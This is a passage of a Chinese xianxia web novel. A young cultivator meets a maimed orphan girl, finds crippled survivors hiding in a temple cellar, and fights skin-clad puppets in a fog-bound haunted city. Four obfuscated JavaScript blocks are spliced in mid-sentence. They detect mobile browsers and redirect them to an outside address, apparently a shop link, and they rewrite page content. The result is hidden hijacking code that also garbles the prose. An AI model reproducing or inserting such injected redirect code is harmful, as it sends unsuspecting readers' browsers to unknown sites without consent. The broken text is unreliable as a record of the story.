公仪岭拧眉,但看她避而不答,也不好继续追问下去,只得换了个问题:“你刚刚干什么藏在桌子底下?” 莺儿飞快地抬眸看了一眼他,又垂下了眸子,低声说了一句:“听到有人来了,不知道是人是鬼,就先藏起来再说。” 她这个思路倒是没错,如果不是她刚才动了一下贡桌,这么小个人藏在里面,公仪岭还真不一定发现得了。 又听到她提了一嘴“鬼”,公仪岭想着难得遇到一个活人,与她打听下也好,正想开口,莺儿突然惊讶道:“你是仙人!” 公仪岭也惊讶了,没想到这女孩竟然能认出来。 不过他没有否认,反正就算这女孩认出来自己是仙人,也不知道自己是哪位仙人。于是公仪岭厚着脸皮,点头应了:“是啊,我是仙人。不过你是怎么认出来的?” 莺儿很实在地指了指身后的仙像,说道:“你穿的衣服和后面仙像上穿的差不多,我在底下偷偷看了一眼,你仙风道骨的也不像是坏人,我才出来的。” 难得被小孩夸了一嘴,公仪岭心中暗喜,心道没想到自己有一天也能和仙风道骨扯上关系了,看样子最近修习成效显著,回去应该和大哥继续修炼才是。 他咳了一声,好声好气问莺儿:“那你有没有在这里见过跟我长得差不多的一对夫妻?” 莺儿凝视了他片刻,似乎在脑子里回忆,过了一会儿才摇了摇头:“我一直都躲在这里,没见过。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13498833|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “好吧,没关系。” 公仪岭有些失望,只好安慰自己也许只是这小女孩没见过,说不定自己找找就找到了。 莺儿补充道:“从城中开始闹鬼后,你是我见到的第一个来的仙人,我不会记错的。” 公仪岭觉得有些奇怪。 算算日子,宣安城的鬼怪霍乱至少发生了也有一个多月了。 远水救不了近火,一般来说,哪儿发生妖邪作乱的话,城中百姓都会朝附近的宗门求助,只有实在寻不到人了,才会有人去其他宗门祈愿求助。 云灵山离这里的距离实在算不得近,他们正常来说,应该先去问问离得最近的无妄宗才对,就算无妄宗不来人,其他地方也不至于一个下来处理的仙人都没有。 公仪岭问她:“他们都问了哪些宗门?怎么会一个人都不来?” 莺儿看起来很迷惑,末了摇头道:“我不知道大家问了哪些地方。” 公仪岭叹了口气,想着一路过来这糟糕的风水,心想:“估计忙是真的,不想来也是真的。” 这样的地方,换做是谁怕是都不想沾染半点。 莺儿眼中却充满希望:“你是看到了城中的请愿,才过来帮我们除妖的吗?” “这……” 公仪岭有些犹豫,一时没回答。 说是吧,自己此行的主要目的还是看看能不能找到爹娘,说不是吧,自己也确实是看见了贡桌上的愿望才过来的。 莺儿见他半天没回答,眼里的光熄了熄,小声道:“我之前在城里找吃的的时候,听大家说往很多上仙住的地方都去请愿了,可是不知道为什么迟迟没有人过来解决,想来是仙人们都太忙了,无暇顾及到我们这么偏远的地方吧。所以我才以为……” 公仪岭微微皱眉。 此前小半年,他都一直忙着仙考,并不太关注这些。等从抱元门回来了以后,也许久都没去山门处的贡桌看过了。按理来说,这些事情原先大多都是承悦处理的,大约是事情堆积,加上宣安城离云灵山偏远,以为早就有人去处理,这才疏忽了。 不过,公仪岭想着,宣安城发生的事情多半同御魔幡有关系,既然来都来了,顺手解决一下,也不是什么多麻烦的事情。 他思虑完,对莺儿说道:“我既然都来这里了,定然要帮你们铲除妖邪,不会袖手旁观的。” 莺儿听到他答应,脸上难掩激动之色,竟直接抓住了公仪岭的衣袖,像是生怕他一走了之:“谢谢你!你是我见过最好的仙人!” 公仪岭不由失笑——她这样的年纪,能见过多少仙人,怕不是才头一遭见才是。 莺儿说罢就想从地上爬起身,不过拽着公仪岭衣袖尝试了好几次,也没能成功起来。 “你身体不舒服吗?能起来吗?” 公仪岭不疑有他,只当她是太累了才一下子没站起来,伸手扶了一把后,莺儿才勉强站了起来。 她稳了稳身子,好不容易站住,对公仪岭露出一个笑容:“我能站起来。仙人哥哥,我要带你去一个地方。” 72.求仙万仙寺 魂魄恍隔世(二) 头一回听到别人这么喊,公仪岭先是愣了一下,但很快,他就被另一件事吸引了注意力。 这小女孩儿走路一瘸一拐,十分吃力。刚才她一直都蜷缩着坐在地上,公仪岭没发现她竟然是个瘸子。 “你的腿……?” 公仪岭有些踌躇,想着该怎么问比较委婉。但莺儿却看起来没有那么在意,顺着他的视线低头看了看自己的腿,反而很担心地问他:“仙人哥哥,我的腿没有吓到你吧?” 他没料到莺儿会这么问。公仪岭想着自己毕竟是个男子,不太方便盯着小姑娘的腿看,所以也只是注意到了她走路一瘸一拐的问题,没有仔细看。听到莺儿很不好意思地问他,这才垂眸看了一眼。 不看还好,这一看,公仪岭目光便是一滞。 莺儿的左腿上面青青紫紫,一块好肉都没有,小腿处则是血肉模糊,隐约能够看见森森白骨。 这样的伤势,肯定不是那些鬼怪所为,多半是被人生生打出来的。 公仪岭很难想象,究竟是谁如此心狠手辣,连这么点大的小丫头也不放过,非要给人打残了才罢休。 公仪岭语气不自觉冷了些:“这伤是谁打的?” 莺儿被他突如其来的严肃语气吓到了,呆呆看着公仪岭,猛然间回过神来,连忙把自己身上的破衣服拢了拢,想要盖住自己的左腿。 公仪岭瞧着她的举动,放缓了语气解释道:“我没有被吓到,我只是问你这腿伤是怎么来的?” 莺儿一直摇头没说话,小心翼翼扯着他的衣袖,让他先跟自己走。 公仪岭抿着唇,想起来她刚才说自己无父无母,没有家人的事情,想着她大概是在城中讨生活的时候被人打的。见她执拗地领着自己走,也不好多说什么,只得先跟着。 莺儿是朝着万仙寺后面去的。绕过了几道长廊,又穿过了三座大殿,两个人才来到了万仙寺的后院。 这后院与公仪岭刚来到万仙寺看到的模样差不多,尽显萧条,院子四四方方的,中间还栽了一棵巨大的古树,树上面的枝叶泛了黄,风一吹就瑟瑟地飘落到了地上。 公仪岭踩在厚厚的树叶上,心道:“看样子这地方在妖邪出来前就已经无人问津了,也不知道这叶子积了多久没扫才能变得这么厚。” 两个人走到后院以后,公仪岭以为她会把自己带出庙宇,谁知莺儿却拐了个弯,直接走到了后院的角落里。公仪岭见那儿堆着很多木桶,刚要问她怎么回事,莺儿就已经走到了那边,开始搬木桶了。 她身子娇小,而有些大的木桶都快赶上她人高了,搬起来很是费劲。公仪岭看不下去,单手从她手里接了木桶,直接两三下帮她搬完了。 莺儿感激地看了公仪岭一眼,指着地上的一块不起眼的石板:“仙人哥哥,就是这里。” 公仪岭蹲下身,指尖触了触这块粗糙的石板,出声道:“这是一个地窖?” 莺儿对他点头,费力俯下身朝石板上敲了两下,又敲了三下。 公仪岭立刻明白这底下一定有人躲着,在她敲完石板以后,顺便将石板也给搬开了。 石板搬开后,地上果然出现了一个大洞,洞内的岩壁上还嵌了一排把手,应该是用来供人进出用的。 公仪岭转头打量着莺儿,问她:“你腿脚不便,平时走这个不会不方便吗。” 莺儿指了指自己完好的右腿,说:“仙人哥哥,我还有一条腿能够使力,足够我进出了。” 公仪岭看着她腿上的伤,有些后悔出门没从药师地方顺点药出来了,虽然她的腿伤成这样,再好的药也不能让她恢复如初,但至少止疼祛疤还是没问题的。 莺儿说完,双手已经抓牢了上面的扶手,缓慢地挪动着身子打算下去了。 公仪岭无奈,伸手把人抓了回来,用左手托住了她:“都说了我是仙人了,带你下去不是轻轻松松?你抓稳我啊。” 莺儿惊讶地看着他,双手下意识紧紧抓牢了公仪岭的衣襟。 下一秒,公仪岭就直接从地窖入口跳了下去。 莺儿惊恐不已,完全没料到他用的是这样简单直接的方式,吓得差点没叫出声,连眼睛都闭上了,以为自己要命丧当场。 不过,公仪岭足尖点地,轻轻巧巧就落在了地上,甚至没有发出一点声音。 公仪岭见她恐慌的样子,失笑道:“已经下来了。” 莺儿缓缓睁开眼,确认了自己没事以后,才拍了拍心口,从他手臂上爬了下去。 地窖里阴暗潮湿,洞口处照进来的那点光亮完全不足以照亮整个地窖。公仪岭又取出怀里的符纸,将其一角点燃后,才看清楚在他们面前的是条黑黢黢、狭窄的通道。 莺儿仰头对他道:“仙人哥哥,就是这里,要进去才行。” 公仪岭拔出剑,将她护在了身后,叮嘱了一句:“那你跟在我身后吧。” 莺儿点头,没有拒绝他的好意,但还是解释道:“仙人哥哥,里面没有鬼,都是好人。” 公仪岭弯着身子在通道里前进,听到她的话,问道:“他们都是什么人?为什么藏在这里?” 莺儿道:“他们都是城里的人,只是家人都遇害了,逃出来以后,又不能回自己家里,只能暂且躲在这里了。” “那你呢?我看你对万仙寺很熟悉,连这里有个地窖都知道,你是万仙寺里的人吗?” 莺儿目光闪了闪,轻声道:“我不是万仙寺里的人,我也是逃出来的,只是比他们来得更早些而已。” “原来如此。” 通道不长,公仪岭很快就走到了尽头。 尽头处一下子就开阔了起来,这地窖比公仪岭想象中大了许多,原以为里面顶多藏了三四个人,没想到竟然有十多个人,里面有老有少,有男有女,而这些人的旁边,还放了一桶水和一袋见底的米粮。 公仪岭明白了过来,看样子这地窖从前是万仙寺里用来储粮的地方。 只是这些坐在地上的人们,无一例外都是下肢不全,双腿残疾。与莺儿不同的是,他们的两条腿自膝盖往下,都被整整齐齐地切断了,只剩下了下半部分空荡荡的裤腿。 “你……你是谁!” 他们猛然间见到手里提着剑的公仪岭,吓得立刻就往角落缩去,脸上写满了惊恐,连声求饶:“别杀我们!别杀我们!” 公仪岭把归云收回剑鞘:“别误会,我没有伤害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13498834|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们的意思。” 他身后的莺儿赶紧挪到前面挡在中间,急忙道:“他是仙人,他不是坏人,他是来城里捉鬼的!” 那些人听到莺儿解释以后,才放心了些,继而好奇地打量着公仪岭,谁也没开口说话。 莺儿从衣服里拿出来馍馍,掰成了很多份分给了大家:“我今天就在外面找到了这些,你们先吃。” 公仪岭也是第一次遇到这样的局面,面对着一群陌生人,难免有些尴尬,就从行囊里拿了剩下的馒头,学着莺儿的样子分给他们,挠头问道:“你们的腿,都是怎么回事?” 其中一个中年男子气愤道:“还能怎么回事,都是被城里那些该死的妖孽害得!若是你们仙家的人早点过来,我的父母妻儿也不会惨死了!” 公仪岭闻声望去,这男子看起来灰头土脸,身材瘦弱,手里还拿着一根细细的竹竿。虽然他半垂着头,但公仪岭还是看见,他脸上面两个眼眶子里面空空如也,面上还淌着血,乍一看很瘆人。 这男子,竟然是一个瞎子。 虽然仙家不来人也不全是公仪岭的过错,但他还是有点愧疚,把最后一块馒头塞到了瞎眼男子的手中,随后坐在了他面前,耐心问道:“这位兄台,可否详细些告诉我,这一个月来城里发生了什么事情?” 瞎眼男子拿着手里的馒头块微微一怔,眼眶里流下了两行血泪。 他沉默了许久,才缓慢说道:“从前宣安城虽然偏僻了些,但白天还是很热闹的。哪知道突然有一天傍晚,我在家宅里听说外面集市上有人撞见鬼了,大家都四散逃回了家中,本以为躲着就没事了,谁知第二日就有人命丧家中,被人发现的时候,那人全身的皮肉都不见了,死状很是凄惨。” “一个人是巧合,但之后连着几日,好几家都遭了毒手,每个死掉的人都是如此。”他悚然道,“我那几日出城去了,不在家中,等回来的时候,发现家里人都横死。所有人都很恐慌,想逃出城去避难,但城门被关上了,我们都出不去。城主说已经去请仙人来了,可谁不知道,仙人很少来我们这边,也不知道要等多久才能来!我们这才躲到了万仙寺里。” 旁边一老人也道:“虽然这地窖小是小了些,但那些鬼是找不到的。” 公仪岭疑惑道:“既然万仙寺是安全的,那城里的人怎么没来?” 老人叹气道:“仙人来这边少,久而久之大家也就求仙不如求己了,万仙寺自然也就慢慢萧条,无人问津了。一开始外面的人都不知道,我们也是机缘巧合才躲进来的,等到了后面街道上那些妖邪越来越多,每个人都躲在家里,家就算知道也不敢冒风险出来了,谁知道还有没有命到这里啊。” “那这些妖邪都是等日落了才出来吗?” 瞎眼男子摇头道:“一开始是日落后才出来,没多久它们白日里也会出来了。” 公仪岭沉思片刻,想着在街上走的时候寻妖罗盘上混乱的指示,自己却没见到一只鬼魂,心道这些东西竟也是欺软怕硬的,遇到他连个面都不敢露。 大概情况了解以后,公仪岭下定了决心,对众人说道:“再过几个时辰,应该就到黄昏时分了,届时,我亲自上街去看一看。” 73.求仙万仙寺 魂魄恍隔世(三) 在地窖里待了几个时辰后,公仪岭便与众人告辞。 从地窖里出来后,他把石板搬了回去,顺手还往石板上贴了一张符纸。有了齐元白的这张符纸,寻常妖邪之物是无法靠近这里的,也算是保护了这些可怜人。 做完这一切,公仪岭才离开了万仙寺。 即便到了黄昏时分,城内也看不到一点夕阳,仅仅只是白茫茫的天变得稍微暗了很多而已。宣安城里面的街道上依然没有一个活人,为了不打草惊蛇,公仪岭刻意隐藏了自己的气息,沿着城的外围小巷一直往里面走。 谨慎起见,公仪岭贴着墙壁走,顺便探听着街道上的动静。走了没一刻钟,便忽而听到了一拨人交谈的声音。 第一个说话的是一个年轻男子,声音清亮:“这么偏僻的地方我还是第一次来,想不到风水这么差的地方还能建起来一座城,也难怪师父他们不过来,叫我们来处理呢!” 另一个沉稳些的男声道:“子昂,不可妄自揣测。这些时日各家都忙着,师父他们也是如此,叫我们来处理也是正常的。” 子昂?公仪岭脑子里飞快地过了一遍,没想出来哪家的弟子叫子昂,看样子应该没跟自己接触过。 听名字认人他不擅长,于是探了半个头出去,打算瞧一瞧他们的服饰,看看是哪家的仙僚。 那一拨人不疾不徐走在街上,每个人身上的衣服都是深蓝色的,至于上面的暗纹,公仪岭不清楚这个花样是什么,不过这不影响他认出来是哪家的人。 这服饰,这颜色,打眼一看就知道是无妄宗的人。无妄宗的宗姓为薛,想必那第一个说话的弟子是叫薛子昂了。只可惜公仪岭之前没听说过他的名字,看他们的样子,又听他们说的话,公仪岭就知道约莫是无妄宗小一辈的弟子,也不怪自己名字和脸对不上号。 好在那日中秋宴上看不惯他的几个长辈倒是不在其中,让公仪岭稍微放下心来。 薛子昂还在犹自说着:“我知道啦,师兄,不过现在不是已经快到日落时分了吗,怎么街上还是一个邪物都没有?难道我们来晚了吗?” 他师兄只淡声道:“不可大意。” 一行人一路走,公仪岭也一路跟着,手里紧紧握着寻妖罗盘,眉头紧锁。 这真是太奇怪了,不管他如何施法,寻妖罗盘上都是混乱的指示,一会儿指东一会儿指西的,没个准信儿。这样的情况,他只能想到一种情况,那就是整座城的气场都有问题,人气和鬼气混合充斥着宣安城,才会让罗盘变成这样。 天色越来越暗,公仪岭的视线也开始变得模糊不清。他诧异地望向四周,发现周围不知道什么时候汇聚起了淡淡的雾气,随着时间过去越来越浓,才会让人看不清。 忽而主街道上传来一声大喊:“大家小心!” 公仪岭浑身一震,听出来了是那个叫薛子昂的弟子喊的,下意识就抽出了剑斜持着,警惕着周围的变故。 而那边,薛子昂喊完以后,就看见白雾中的那道影子飞速移动,眼看着就离自己越来越近了,手中持剑就朝着那边劈了过去,却劈了个空。 并非是他没有把控好距离,而是那影子的速度极快,早就在他出手的时候,就已经避开了去。 他顾不上多想,立刻反手防住了自己的空档,正好堪堪拦住了那鬼魂的鬼手。 薛子昂只觉一身冷汗。 说起来,这可以算得上他们第一次跟着师兄下山历练了,只是他们完全没有想到第一次就遇到了如此凶险的东西。 从刚才的两下交手来看,显然,它在白雾里的行动比自己更加迅捷。 这下,薛子昂就更不敢大意了,张口就呼喊同伴想要帮忙,却是无人应答,耳边只剩下挥剑乒乒乓乓交手的声音。 他这才发现,四周白雾里竟然密密麻麻全是那种东西,随便扫了一眼,就已经数不过来了,数量之多,令人咂舌。 薛子昂连忙再次出声,想要知道师兄弟们的位置:“师兄!” 不远处他师兄回应了他一声:“别分神!这些东西不好对付!” 听到回答,他才松了口气,心道师兄他们没事就好,于是凝神开始对付周围的几只。 这些东西出手又快又狠,但动作却稍显僵硬。薛子昂依靠着这一点,勉强周旋其中,就这样几个回合下来,这些邪物长什么样子,也被他看了个明白。 他们原以为,这邪物都是虚体的魂魄,完全没想到是这样类似于行尸走肉的傀儡模样。薛子昂面前每一个傀儡都长得不尽相同,有高有矮,有胖有瘦。除了浑身褶皱和满身污血以外,他们的模样虽然可怖了些,但却是个寻常百姓的长相。 它们的行动虽然很快,但下肢却都显得很突兀。每个傀儡的膝盖中间明显有一道缝合的豁口,像是硬生生接上去腿的一样。 薛子昂被它们的模样吸引去了注意,行动自然也就迟缓了一秒。 然而就是这一秒的迟疑,立刻就让傀儡们得了契机,争先恐后朝他出手。 他毕竟只有一剑在手,又缺乏实战经验,虽然勉强支撑,但方方面面总会有处理不当的地方,很快身上就被抓了很多伤痕,汩汩地冒着鲜血。 薛子昂杀了五六只后,捂着受伤的右臂,转头咬牙叫道:“师兄!这么多,根本杀不完啊!” 他师兄朝他那边望去,皱着眉刚要开口,突见变故横生,薛子昂的面前猛然出现了一只狰狞的手臂,就要捅进他的心窝!当即面色一变,惊声大喊:“子昂!小心前面!” 薛子昂回头瞪大了眼,只可惜距离太近,他右手负伤,抬剑都有些吃力。 ——完了! 眼看着就要反应不及,他的心都死了一半的时候,余光忽然瞥到一抹凌厉的寒光,他的右边竟出现了一柄缠绕着强大仙气的灵剑,一道剑气直接断了直取他性命的那只鬼手。 就连薛子昂也被这一股剑气震得直接后退了几步,才勉强稳住了身形,难掩震惊地看着地上那只抽搐的断手。 持剑的人没有停顿,剑锋一扫,动作快到薛子昂只能看清楚他的残影,不过半炷香的时间,周围的傀儡或是被他贴上符纸动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13516384|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不了了,或是直接被他身首异处干脆利落地了结。直到他凌空一脚踢飞了身后傀儡,周围再没了响动,他才一个后翻平稳落地,颇为遗憾地收起了剑,笑着评价道:“比赤发长面鬼稍微厉害点。” 薛子昂低头,看见他月白色剑柄处的祥云纹,结巴道:“你……你是云灵山的人?” 面前的高挑少年似乎这才想起来旁边还有个人在,抬手扯下了覆眼的一道青绫,对他笑道:“在下云灵山公仪岭。初次见面,我也算是救了你一命,记得叫你们家长辈下次可别再为难我了啊!” * 公仪岭原先是不打算在他们面前出现的,满心想的都是别跟他们打上照面。但是随着白雾弥漫,出现的傀儡越来越多,无妄宗派来的小弟子们又看起来不像是那些邪物的对手,他顾不了那么多,直接就出手救人了。 所幸这些傀儡数量虽多,却没有他想得那么厉害,否则的话,局面就该变得棘手起来了。 公仪岭表面上还维持着清风朗月般标准的笑容,思绪却已经飘得很远。正胡思乱想着,远处走来一人,对他拱手行了一礼,认真道:“原来是公仪家的二公子,中秋宴上有幸见你过一面,多谢你今日出手相救了。” 说话的正是薛子昂的那位师兄。公仪岭拉回思绪,忙回了一礼:“小事一桩。” 薛子昂也感谢道:“多谢公仪兄了,不过我可不一定能在师父他们面前说上话,可能得让你失望了。” 公仪岭倒不在意这个,从容道:“哦,没事。” 师兄笑道:“公仪兄斩获今年抱元门仙考榜首的事情我也有所耳闻,今日一见,果然名不虚传。” 公仪岭只当他随口一句恭维,一笑了之。不过他看了半天没看出师兄多大,就问他:“你多大了?我好像没在仙考的时候看见你?” 师兄没有明确回答,只道:“我许久不参加仙考了。不过,我师弟倒是参加了,只可惜名次不佳,看样子回宗门后还得叫他多努力了。” 公仪岭没有再追问,只点了点头,低头理了理衣摆。 这衣服还是他离开云灵山前特意换的新衣服。虽然他动手的时候已经很小心了,但还是免不了沾上了血迹,公仪岭就琢磨着到时候得找个地方洗一洗才行。 至于衣袖……这也是没办法的事情,只能等回云灵山再换了。 薛子昂瞥了一眼他短了一截的衣袖,想来是拿剑割断了以后用来遮眼睛了,就问道:“我看你身手了得,为何还要特意蒙着眼杀傀儡呢?” 公仪岭解释道:“这白雾茫茫的,看不清楚多影响判断啊,还不如直接眼睛一闭靠耳朵听来得实在。” 说罢,就将手里的布条塞进了怀里,喃喃自语:“我看这玩意还是先留着吧,万一到时候又有白雾的话还能派的上用场,要是再扯两次衣袖,我就得光膀子了。” 想了想,又道:“给承悦说不定还能把衣服补一补。” “……” 那位师兄嘴角一抽,这种靠谱中带着些许不靠谱的感觉,究竟是怎么一回事呢…… 74.求仙万仙寺 魂魄恍隔世(四) 公仪岭塞完,还不忘问他们一嘴:“你们是无妄宗的吧?两位兄台,叫什么名字啊?” 师兄到底听说过公仪岭的名号,很快就恢复如常,答道:“在下无妄宗薛尧。” 薛子昂:“无妄宗,薛子昂。” 公仪岭默默记下了两人的名字,又问道:“我听城中百姓说,一个月前宣安城的城主就已经去无妄宗请愿,让你们下山来清理邪祟了,你们怎么这么迟才来?” 薛尧道:“这一个月师父和长老们都忙着,才叫我们来的。” 薛子昂也道:“这不是中秋刚过,才得了空么……我们这倒是空了,不过紫阳宗那边,我估计是该焦头烂额了。” 公仪岭心念一动:“这几日,燕婉姑娘有消息了吗?” 自他出来后,也没有再联系燕蓉过了,也不知道那边如何了。 薛子昂摇头:“哪能呢?要是有消息,也不会到处找了。” 这倒也是。公仪岭点了点头,表示赞同。 “不过,公仪兄你不是应该在云灵山吗?为何会出现在这里?”薛子昂疑惑道,“我记得云灵山离这儿挺远的吧?” 果然还是被人注意到这个了。公仪岭对此也是早有准备,念出了提前备好的腹稿,镇定道:“可能是因为没人处理宣安城的事情,城中百姓都把请愿写到云灵山来了,所以我才特意过来。” 薛尧望了望四周,没见他身后跟着云灵山弟子,不解道:“就你一个人来的吗?” 仙家下山处理妖邪大多都会让门里几个弟子同行,极少出现独自行动的情况。公仪岭明白这一点,硬着头皮答道:“百姓请愿里面也没说有这么多东西,云灵山就我一个大闲人,所以就一个人过来了。” 薛子昂思考了一下,很快就接受了这个说法:“也是!肯定是因为公仪兄你身手这么好,公仪宗主才放心让你一个人来的。” 听他提到了自己爹,公仪岭不由默了默,神色自然:“有道理,我爹肯定是这么想的。” 这会儿白雾也散得差不多了,主街道上横七竖八躺了不少具傀儡,其余的则是一个个脑门上整整齐齐贴了一排符纸,站着一动不动。 薛尧走过去细细打量着这些傀儡,伸手触了触他们头上的黄符:“这些符纸,都是太微山的吧?” “是啊。”公仪岭从怀里又摸出一沓黄符,热情推荐,“这些都是太微山少宗主画的,保质保量,用来镇妖驱邪效果最好了!五文钱一张,童叟无欺,你们要不要拿两张?” 薛尧:“不必了,多谢。” “好吧。”公仪岭颇为遗憾地收了回去。 这时,蹲在地上检查着被灭掉的傀儡的薛子昂出声道:“你们看,这些傀儡都是个空壳子。” 晚上街道上很昏暗,路两边也没有灯笼。公仪岭眯着眼睛看了半天没看出名堂,最后还是选择燃了一张符纸,凑近了些看得更清楚。 薛子昂将地方指给他看:“他们的皮肤全都是褶皱,还有明显的分层,最关键的是,我觉得他们瘪下去了。” 公仪岭扫了一眼躺在地上的傀儡,的确如薛子昂所说的那样,地上那些东西甚至都不能说是傀儡,只能说剩下了一张皮。 薛子昂又指了指他们的腿部:“这里倒是挺正常的,没有瘪下去。” 薛尧皱眉:“这是怎么回事?” 公仪岭神色肃然,立刻就想起了万仙寺里那些人说的话:城中百姓命丧家中,全身皮肉都消失不见,死状凄惨。 他们身后一个小师弟吞了吞口水,心有余悸道:“民间有传闻,若是鬼魂穿上人皮做的寿衣,就能如同正常人一般在白日里行走。” 公仪岭没听说过这个传闻,想起了赤发长面鬼,就问道:“被邪物控制的傀儡也能用这个办法,让他们在白天出现吗?” 那弟子有些迷惘:“不清楚,毕竟也只是民间传说,之前咱们也没遇到过这样的事情。” 薛尧沉思了片刻:“鬼魂因为阴气重,才无法见日,如果用人皮来遮挡鬼气的话,说不定真的可以。我觉得此传闻,不无道理。” “可是,这些傀儡行动迅捷,只有打架的时候,才稍微显出僵硬之态。按理说,他们的动作哪有那么快。不然的话,我们还真不一定打不过。” 薛子昂突然意识到了什么,赶紧俯下身去检查傀儡腿部。 很快,他就发现不对之处,“咦”了一声,道:“师兄,你看,这好像是活人的腿啊。” 薛尧闻言诧异,立刻就蹲下去翻看傀儡的腿部。 公仪岭则是在一旁默不作声,因为他刚才查看的时候,就已经注意到了这儿。虽然他很不想接受面前的事实,但不得不承认的是,这些腿都是从活人身上砍下来,安上去的。 再联想到万仙寺地窖里那些人,每一个都双腿残疾,又口口声声说是妖孽所害的事情,公仪岭心中悄然下了结论。 薛尧这时候也倒吸了一口凉气:“竟然真是。” 公仪岭叹息道:“这些腿,都是从城中百姓身上折下来的。” 薛尧他们刚进城,街道上一个人都还没瞧见,自然不知此事,于是道:“公仪兄,你可是已经见过城中百姓了?” 公仪岭道:“自然见过,我遇到的每个人都断了双腿,他们说正是这些傀儡做的。” 薛子昂凝声道:“想必是披上皮以后,如果他们想跟正常人一样行动敏捷,就得用这个法子才行。” 薛尧看着公仪岭道:“我斩杀这些东西的时候,分明瞧见了皮囊里面的东西化作黑烟消散了,你我都清楚,这是这些邪物御魔幡控制才会出现的样子。我想,之前传闻的紫阳宗丢失御魔幡的事情,大概可以做实了吧?” 公仪岭自知在这种情况下,已经瞒不过他们了,只好道:“他们隐瞒此事是为了稳住人心,不要让自己人生出动荡来。” 薛尧也能理解那些大宗门这么做的原因,淡声道:“明白了。” 薛子昂道:“不管怎么说,这些东西是留不得的,还封着做什么?我看倒不如直接杀了,一了百了!” 公仪岭道:“封着是因为当时情况紧急,现在你们想除了它们当然没问题。” 无妄宗的人纷纷点头,动手干脆利落,把剩下的都清理了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13516385|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干净。 “也不知道还有没有其他没遇上的傀儡。”薛尧问他,“公仪兄,你是在何处遇到的城中百姓,可否带我们前去?” 公仪岭想着,他们也不会对百姓不利,于是没有隐瞒:“城北万仙寺。” 无妄宗的人虽然鲜少来宣安城,但也知道万仙寺这么个地方,那几个人没有多问,只点了点头。 薛子昂望着一地的皮,说道:“那这些皮囊,总不能一直放在街道上,我们去万仙寺的话,必得把这些也带走。” “那是当然。” 公仪岭也没反驳,但琢磨着让莺儿他们看见这些东西不好,于是委婉建议:“把它们带过去我没什么意见,只不过这些吓人的玩意就别让百姓看见了,到时候还是先将他们放在寺外吧。” 薛尧答应地干脆:“好。” 商量完后,几人便立刻启程赶回万仙寺。 好在大家一群人都是剑修宗门出来的,一人一把剑上捎了许多人皮,齐齐御剑朝着万仙寺的方向飞去。 万仙寺到了夜晚也是不见半点灯光的。公仪岭摸着黑先找了个角落把东西安置了下来,设完结界后,施法将正殿内的烛火燃起,才稍微能够看清里面的场景。 薛尧沿着内殿走了一圈,欣赏完了那些仙人石塑后,才问公仪岭:“那些百姓在何处?” 公仪岭道:“还得劳烦你们跟我去万仙寺后院走一趟,我一个人的话,少不得要来回好几趟才能把他们都带出来了。” 虽然不知道瞎眼男子他们没了腿是怎么下到地窖里面的,不过总归下去会比上来容易些,若是让他一趟一趟给人背上来,不得累死。 薛尧没什么意见:“那就带我们去吧。” 一路带着众人到了地窖,公仪岭担心突然出现这么多陌生人会引起他们的恐慌,于是说:“我看他们挺害怕陌生人的,这样吧,我先下去与他们知会一声,你们再下去。” 薛子昂催他:“那你快点啊,我们还得找客栈回去休息呢。” 公仪岭斜睨了他一眼:“真是年轻后辈第一次出来历练没吃过苦,这时候还想着客栈呢?你看这宣安城里面哪来的客栈还在开门迎客?要我说,你们今天在寺里凑合凑合得了,虽然破了些,但是寺里大啊!睡你们这么多人绰绰有余。” 薛子昂被他说得脸上青一阵白一阵,却也想不出话来反驳,只得默默闭嘴。 薛尧不忍看到师弟尴尬,就打了个圆场:“子昂他还小,以后多出来几次就知道了。” 公仪岭也不跟他们废话,取下了封口的黄符,直接就下去了。 莺儿他们在地窖里面也没有别的事情,加之到处都是漆黑一片,大部分时候他们都靠睡觉来度日。只不过经过这惊心动魄的一个月后,大家的睡眠都变得很差,一点风吹草动都能惊醒过来。 于是等到公仪岭进地窖的时候,就看见几人一骨碌爬了起来,无比警惕地看着黑暗中的人,那个瞎眼男子甚至已经举起手里的竹竿打算劈头盖脸打下来了。 